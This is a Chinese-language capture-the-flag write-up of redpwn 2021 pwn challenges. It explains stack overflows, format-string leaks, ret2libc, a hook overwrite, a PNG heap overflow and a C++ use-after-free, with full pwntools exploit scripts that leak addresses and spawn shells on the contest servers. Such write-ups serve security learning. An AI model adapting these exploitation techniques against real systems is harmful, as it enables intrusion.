redpwn2021_pwn
# redpwn2021_pwn(1)
第一部分, 十解以上的题目.
剩下五道题目, 难度极大, 选择摆烂
# beginner-generic-pwn-number-0
比较简单的栈溢出, 覆盖栈内的局部变量,
def exp():
sla("message to cheer me up? :(", flat('a' *0x28, -1))
2
# ret2ret2the-unknowngeneric-flag-reader
栈溢出, 基本没有保护, 跳到后门函数即可打印flag,
from pwn import *
context.arch='amd64'
# cn = process("./bin")
cn = remote("mc.ax", 31077)
payload = flat('a' * 0x20, 1, 0x00000000004011F6)
cn.sendline(payload)
cn.interactive()
2
3
4
5
6
7
8
9
10
11
# printf-please
flag在栈上, 存在一个格式化字符串漏洞, 但是没有直接指向的指针, 于是用%p打印, 并接受转为字符串,
from pwn import *
import codecs
context.arch='amd64'
# cn = process("./bin")
cn = remote("mc.ax", 31569)
# gdb.attach(cn, 'b * $rebase(0x0000000000001274)')
payload = flat("pleaseaa%70$p%71$p%72$p%73$p%74$p0x")
cn.sendline(payload)
a = cn.recvuntil('0x')[:-2]
a0 = codecs.decode(cn.recvuntil('0x')[:-2], 'hex')[::-1]
a0 += codecs.decode(cn.recvuntil('0x')[:-2], 'hex')[::-1]
a0 += codecs.decode(cn.recvuntil('0x')[:-2], 'hex')[::-1]
a0 += codecs.decode(cn.recvuntil('0x')[:-2], 'hex')[::-1]
a0 += codecs.decode(cn.recvuntil('0x')[1:-2], 'hex')[::-1]
print(a0)
cn.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# ret2the-unknown
先输入, 然后会给一个libc地址, 于是先回到main函数循环一次, 然后再构造getshell
from pwn import *
context.arch='amd64'
# cn = process("./bin")
cn = remote("mc.ax", 31568)
libc = ELF("./libc-2.28.so")
main = 0x000000000401186
cn.sendlineafter("get there safely?", flat('a' * 0x20, 0, main))
cn.recvuntil("to get there: ")
printf = int(cn.recv(12), 16)
blibc = printf - libc.sym['printf']
print("blibc: " + hex(blibc))
system = blibc + libc.sym['system']
binsh = blibc + next(libc.search(b"/bin/sh\x00"))
poprdi = 0x0000000004012A3
ret = 0x0000000004012A4
cn.sendline(flat('a'*0x20, 0, ret, poprdi, binsh, system))
cn.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# simultaneity
代码比较简单, 任意malloc一个大小, 然后通过距离可以构造一个任意地址写, 然后就推出了,使用_exit
退出无法利用.
通过mmap出的堆块到libc距离固定的机制可以得到libc地址,
然后另一个技巧是scanf接收大量数据的时候也会使用malloc和free使用一个堆空间来放置输入的机制, 他的运行流程是, 先malloc一个堆块, 然后读取进来, 然后写入目标位置以后free掉,
于是我们修改free_hook, 前缀大量的"0", 会使用堆块机制, 写入onegadget, 在free的时候getshell
from pwn import *
context.arch='amd64'
context.log_level='debug'
# cn = process("./bin")
cn = remote("mc.ax", 31547)
# gdb.attach(cn, "b * $rebase(0x000000000000125C)")
cn.sendlineafter("how big?", str(0x300000))
cn.recvuntil("you are here: 0x")
heap = int(cn.recv(12), 16) - 0x10
print("heap: " + hex(heap))
blibc = heap+ 0x301000
print("blibc: " + hex(blibc))
libc = ELF("./libc.so.6")
len = libc.sym['__free_hook'] + 0x301000 - 0x10
print("len: " + hex(len))
cn.sendlineafter("how far?", str(len // 8))
cn.sendlineafter("what?", '0' * 0x800 + str(blibc + 0xe5456))
cn.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# image-identifier
# 分析
首先输入要输入的文件长度, 然后输入一个文件, 检测文件头标识并使用bmp或png文件,
但是bmp解析几个函数基本啥都没写, 应该是要用png, 然后后面是先文件头检测, 然后chunk检测, 最后是foot,
注意是吧函数指针写入到堆块中, 然后通过堆块调用函数的, 并且输入的文件和函数指针堆块相邻, 程序也提供了后门函数,
应该是在foot调用的时候被修改了, 调用为win函数, 然后head函数没有什么写入堆内的操作, 应该漏洞在chunk内,
按照上面的思路分析几个函数, 的确在pngChunkValidate
函数找到了一个堆溢出.
这个len可以控制, 但是后面的写入回去写入的是crc后的数据,
先实现修改, 这里首先设置了文件头和绕过pngHeadValidate
函数中的两个检测, 其它位置默认填充'\x00',
leng = 0x29
cn.sendlineafter("How large is your file?\n\n", str(leng))
pngheader = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
data = list(flat(bytes(pngheader), 'a').ljust(leng, b'\x00'))
# pngHeadValidate
# check1
data[11] = 0xd
# check2 crc
data[29] = 0xc9
data[30] = 0xef
data[31] = 0xf1
data[32] = 0xbd
2
3
4
5
6
7
8
9
10
11
12
13
然后发现0x21(33)的位置进入pngChunkValidate
函数,
len = (data[0x21] << 24) | (data[0x22] << 16) | (data[0x23] << 8) | (data[0x24])
然后计算到达(checker->footer)
的距离, 0x30-1-8
指针会移动到0x8042f0
, 然后是crc写入到foot的位置,
现在修改值已经实现, 如果得到crc后是win函数地址的数据呢,
# 爆破
我写了一个爆破脚本:
from pwn import *
import time
context.arch='amd64'
# context.log_level='error'
# context.terminal = ['tmux', 'splitw', '-h']
# cn = remote("mc.ax", 31412)
leng = 0x29
pngheader = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
data = list(flat(bytes(pngheader), 'a').ljust(leng, b'\x00'))
data[11] = 0xd
data[29] = 0xc9
data[30] = 0xef
data[31] = 0xf1
data[32] = 0xbd
data[0x24] = 0x30 - 1 - 8
for i in range(0, 0xff):
for j in range(0, 0xff):
cn = process("./chal")
cn.sendlineafter("How large is your file?\n\n", str(leng))
# wow, this causes `updata_crc` to return 0x1818
data[0x25] = i
data[0x26] = j
# data[0x28] = 0x1
cn.sendafter("please send your image here:\n\n", bytes(data))
cn.sendlineafter("do you want to invert the colors?\n", "y")
time.sleep(0.5)
print("i: " + hex(i) + "\nj: " + hex(j))
if cn.poll() == None :
print("!!!")
break;
cn.close()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
然后我得到了这些数据, 并逐个调试查看他们跳到哪些位置:
`i=0x04, j=0x40`: 0x4018e4 (main+185)
`i=0x07, j=0x7d`: 0x401179 (_start+9)
`i=0x0b, j=0xf3`: 0x4018ee (main+195)
`i=0x11, j=0x15`: 0x4018c7 (main+156)
`i=0x15, j=0x37`: 0x40182b (main)
`i=0x18, j=0x0b`: 0x401818 (win+4) !!!!!!!!!!!
`i=0x1f, j=0x14`: 0x401169 (exit@plt+9)
`i=0x21, j=0xc7`: 0x4018e7 (main+188)
`i=0x22, j=0xfa`: 0x40117a (_start+10)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 利用
其中有一个是成功的, 于是有了最终的利用脚本
from pwn import *
context.arch='amd64'
context.log_level='debug'
# context.terminal = ['tmux', 'splitw', '-h']
cn = process("./chal")
# cn = remote("mc.ax", 31412)
bps = [0x0000000000401A6B, 0x000000000401A3F, 0x00000000004015F9, 0x00000000004015E1]
# bps = [0x000000000401A6B]
cmd = ""
for bp in bps:
cmd += "b * {}\n".format(bp)
print(cmd)
gdb.attach(cn, cmd)
leng = 0x29
cn.sendlineafter("How large is your file?\n\n", str(leng))
pngheader = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
data = list(flat(bytes(pngheader), 'a').ljust(leng, b'\x00'))
# pngHeadValidate
# check1
data[11] = 0xd
# check2 crc
data[29] = 0xc9
data[30] = 0xef
data[31] = 0xf1
data[32] = 0xbd
# pngChunkValidate: len
data[0x24] = 0x30 - 1 - 8
# wow, this causes `updata_crc` to return 0x1818
# data[0x25] = 0x18
# data[0x26] = 0x0b
data[0x25] = 0x18
data[0x26] = 0x0b
cn.sendafter("please send your image here:\n\n", bytes(data))
cn.sendlineafter("do you want to invert the colors?\n", "y")
cn.interactive()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# panda-food
# 分析
直接给了源码, 是个类似菜单的题目, 然后使用了一堆stl的东西, 我都不会...现搜..
程序使用了unique_ptr
的智能指针, 但是favorite
使用的是裸指针, 导致智能指针释放的时候存在uaf,
#include <iostream>
#include <string>
#include <bits/stdc++.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
class Food {
public:
Food(std::string name) : name_(std::move(name)) {}
virtual void Eat() {
std::cout << "om nom nom" << std::endl;
}
void PrintName() {
std::cout << "name: " << name_ << std::endl;
}
//private:
std::string name_;
};
class Bamboo : public Food {
public:
Bamboo(const std::string&& name) : Food(std::move(name)) {}
virtual void Eat() {
std::cout << "crunch crunch" << std::endl;
}
};
inline size_t get_idx() {
size_t idx;
std::cout << "idx: " << std::endl;
std::cin >> idx;
return idx;
}
uint64_t rand64() {
uint64_t var = 0;
static int ufd = open("/dev/urandom", O_RDONLY);
if (read(ufd, &var, sizeof(var)) != sizeof(var)) {
perror("ufd read");
exit(1);
}
return var;
}
int main() {
std::map<size_t, std::unique_ptr<Food>> foods;
Food* favorite = nullptr;
int choice;
while (true) {
std::cout << "choice: " << std::endl;
std::cin >> choice;
switch (choice) {
case 0: {
size_t idx = get_idx();
std::unique_ptr<Food> tmp;
std::string name;
std::cout << "name: " << std::endl;
std::cin >> name;
if (name.length() > 0x1000) {
std::cout << "too big :/" << std::endl;
_Exit(1);
} else {
if (rand64() % 2 == 1) {
tmp = std::make_unique<Bamboo>(std::move(name));
} else {
tmp = std::make_unique<Food>(std::move(name));
}
foods[idx] = std::move(tmp);
}
break;
}
case 1: {
size_t idx = get_idx();
favorite = foods[idx].get();
break;
}
case 2: {
if (favorite) favorite->PrintName();
else std::cout << "set a favorite first!" << std::endl;
break;
}
case 3: {
char one_gadget_padding[0x100];
memset(one_gadget_padding, 0, sizeof(one_gadget_padding));
if (favorite) favorite->Eat();
else std::cout << "set a favorite first!" << std::endl;
break;
}
case 4: {
_Exit(0);
break;
}
}
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
简单调试,发现题目中的对象和字符串都是在堆里面的, 然后堆的大小会根据输入字符串大小决定,
先写对应交互的函数:
def new(idx, name):
sla("choice:", '0')
sla("idx:", str(idx))
sla("name:", name)
def set(idx):
sla("choice:", '1')
sla("idx:", str(idx))
def show():
sla("choice:", '2')
def eat():
sla("choice:", '3')
2
3
4
5
6
7
8
9
10
11
12
13
14
# 堆部分
借助ltrace
的调试, 可以简单理解这个过程:
# std::string类型
string
这个类型大概如下,
如果是0x10以内的,会直接存放在放置指针的位置,
大于0x10, 会尝试申请内存块, 并读取一部分, 如果没有读取完会再申请个翻倍的内存块,然后复制进去数据, 释放掉原来的, 一直重复这个过程直到找到合适的内存块存放,
struct string {
char * buf;
size_t buf_size;
} / {
char buf[0x10];
}
2
3
4
5
6
然后经过测试, buffer申请内存的顺序:
buf :
0x1f; -- 0x30
0x3d; -- 0x50
0x79; -- 0x90
0xf1; -- 0x100
0x1e1; -- 0x1f0
0x3c1; -- 0x3d0
0x781; -- 0x790
2
3
4
5
6
7
8
# class类型
其实可以看到, 是先创建了string的堆块, 然后创建了class的堆块,class堆块一直是malloc(0x28)
大小, 一个0x30大小的chunk, 他的格式:
struct food {
void ** func; // !!!
string {
char * buf;
size_t buf_size;
} / {
char buf[0x10];
}
size_t chunk_size;
}
2
3
4
5
6
7
8
9
10
11
其中比较重要的就是func指向vtable表然后指向对应函数, 程序中的eat
功能就是调用这个函数.
两种类型定义并不一致, 而且是通过rand随机数判断的,这回导致我们的堆块地址不定,
public:
Bamboo(const std::string&& name) : Food(std::move(name)) {}
public:
Food(std::string name) : name_(std::move(name)) {}
2
3
4
5
6
其中string类型和我们上述的预期行为一致, 但是string&&类型, 会再申请一个长度为strlen(name)的堆块,
string堆块:
string&& 堆块:
# 利用
可以大体看出来,
新建食物, 可以通过name的长度实现对应大小的堆块malloc,
然后重复新建食物会从foods
中删除, 由于是智能指针没有引用的时候会自动删除,于是实现了free的功能,
然后借助favorite
是裸指针, 导致uaf, 通过print_name可以泄漏内存,通过eat实现控制程序流, getshell,
另外一点在与ltrace
调试比较有趣的一点, 释放顺序是(string class), 获取顺序是(string, class), 是有机会拿到string和刚被free的class重合的,
然后直接可以当成一个堆题打了,
首先泄漏, class大小是0x30, 为放到tcache中, 此时class->buf的位置正好是tcache中key的位置, 指向tcache+0x10, 而且打印通过class->buf_size控制打印的数据量, 我们可以直接用一个很大的数据, 这样有一个unsortedbin, 同时可以通过class->buf=tcache_key泄漏tcache内的堆地址,
new(0, 'a' * 0x780)
# class0, name0
set(0)
new(0, 'b' * 0x30)
2
3
4
这时候, show/eat对应的class堆块已经是被free的了, 此时bin中:tcache->class0, name0在unsortedbin中, show的时候运行的大概是write(0, class->buf, class->buf_size)
, 此时class0->buf=tcache+0x10, class0->buf_size=0x780,
这时候直接show, 可以获取tcache内堆块,可以拿到堆地址,
show()
ru("name: ")
re(0x48, 2)
heap = u64(re(8, 2))
slog['heap'] = heap
bheap = heap - 0x13290
slog['bheap'] = bheap
unsorted_chunk = 0x13af0 + bheap
slog['unsorted_chunk'] = unsorted_chunk
2
3
4
5
6
7
8
9
然后获取到我们输入的name0(unsorted_chunk),
新建class1, 输入len(name1)=0x18, 在string的机制里,可以获取到一个0x30
大小chunk, 即获取到class0, 然后我们的输入可以伪造class的前0x18字节, 即class0->fun
, class->buf
, class->buf_size
, 此时伪造func没有意义, 我们伪造buf指向在unsortedbin中的那个chunk, 打印出main_aeran,
payload = flat(0, unsorted_chunk+0x10, 0x100)
new(1, payload)
show()
ru("name: ")
while (1):
main_arean = u64(re(8, 2))
if main_arean == 0x3a6563696f68630a:
raise EOFError;
libc = main_arean - 0x3ebca0
if (libc & 0xfff == 0):
break;
slog['main_arean'] = main_arean
slog['libc'] = libc
2
3
4
5
6
7
8
9
10
11
12
13
14
15
因为两种class是随机的, 所以会有概率性能否获取到, 而且堆风水也概率性, 这里选择buf_size加大, 然后直接用了个循环, 在这些空间尝试读取, 仍然不行的话就算了,
后续拿到libc以后, 我们可以通过docker了解到他使用ubuntu18.04,
于是再次使用类似的手段,只是获取到class以后, 修改class->fun
然后直接eat运行onegadget即可.
注意的一点是class->func类型是双重指针,他先指向vtable, 然后vtable指向的最后要调用的函数地址, 因此我们先写上onegadget 存放的地址, 在写上onegadget,
此时已经知道堆地址, 也就直接写在后面了,
one = [0x4f3d5, 0x4f432, 0x10a41c]
ogg = slog['libc'] + one[1]
print("one: " + hex(ogg))
pogg = slog['bheap'] + 0x13a98
print("poop: " + hex(pogg))
set(1)
new(1, 'b' * 0x18)
new(2, flat(pogg, ogg).ljust(0x18, b'c'))
eat()
2
3
4
5
6
7
8
9
10
完整exp
点击查看
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2020 wlz <wlz@kyria>
#
# Distributed under terms of the MIT license.
from pwn import *
pie = 1
arch = 64
bps = [0x0000000000015471, 0x000000000001595B, 0x000000000001548F]
def new(idx, name):
sla("choice:", '0')
sla("idx:", str(idx))
sla("name:", name)
def set(idx):
sla("choice:", '1')
sla("idx:", str(idx))
def show():
sla("choice:", '2')
def eat():
sla("choice:", '3')
def exp():
new(0, 'a' * 0x780)
set(0)
gdba()
def exp1():
new(0, 'a' * 0x780)
set(0)
new(0, 'b' * 0x30)
# new(0, 'c' * 0x18)
show()
ru("name: ")
re(0x48, 2)
heap = u64(re(8, 2))
slog['heap'] = heap
bheap = heap - 0x13290
slog['bheap'] = bheap
unsorted_chunk = 0x13af0 + bheap
slog['unsorted_chunk'] = unsorted_chunk
payload = flat(0, unsorted_chunk+0x10, 0x100)
new(1, payload)
show()
ru("name: ")
while (1):
main_arean = u64(re(8, 2))
if main_arean == 0x3a6563696f68630a:
raise EOFError;
libc = main_arean - 0x3ebca0
if (libc & 0xfff == 0):
break;
slog['main_arean'] = main_arean
slog['libc'] = libc
def exp2():
one = [0x4f3d5, 0x4f432, 0x10a41c]
ogg = slog['libc'] + one[1]
print("one: " + hex(ogg))
pogg = slog['bheap'] + 0x13a98
print("poop: " + hex(pogg))
set(1)
new(1, 'b' * 0x18)
new(2, flat(pogg, ogg).ljust(0x18, b'c'))
eat()
context.os='linux'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
slog = {'name' : 111}
local = int(sys.argv[1])
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'
if local:
cn = process('./rbin')
# cn = process(['./ld', './bin'], env={"LD_PRELOAD":"./libc"})
else:
cn = remote( )
elf = ELF('./bin')
re = lambda m, t : cn.recv(numb=m, timeout=t)
recv= lambda : cn.recv()
ru = lambda x : cn.recvuntil(x)
rl = lambda : cn.recvline()
sd = lambda x : cn.send(x)
sl = lambda x : cn.sendline(x)
ia = lambda : cn.interactive()
sla = lambda a, b : cn.sendlineafter(a, b)
sa = lambda a, b : cn.sendafter(a, b)
sll = lambda x : cn.sendlineafter(':', x)
while 1:
try:
cn = process('./rbin')
# cn = remote("mc.ax", 31707)
exp1()
break
except EOFError:
continue
exp2()
slog_show()
ia()
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127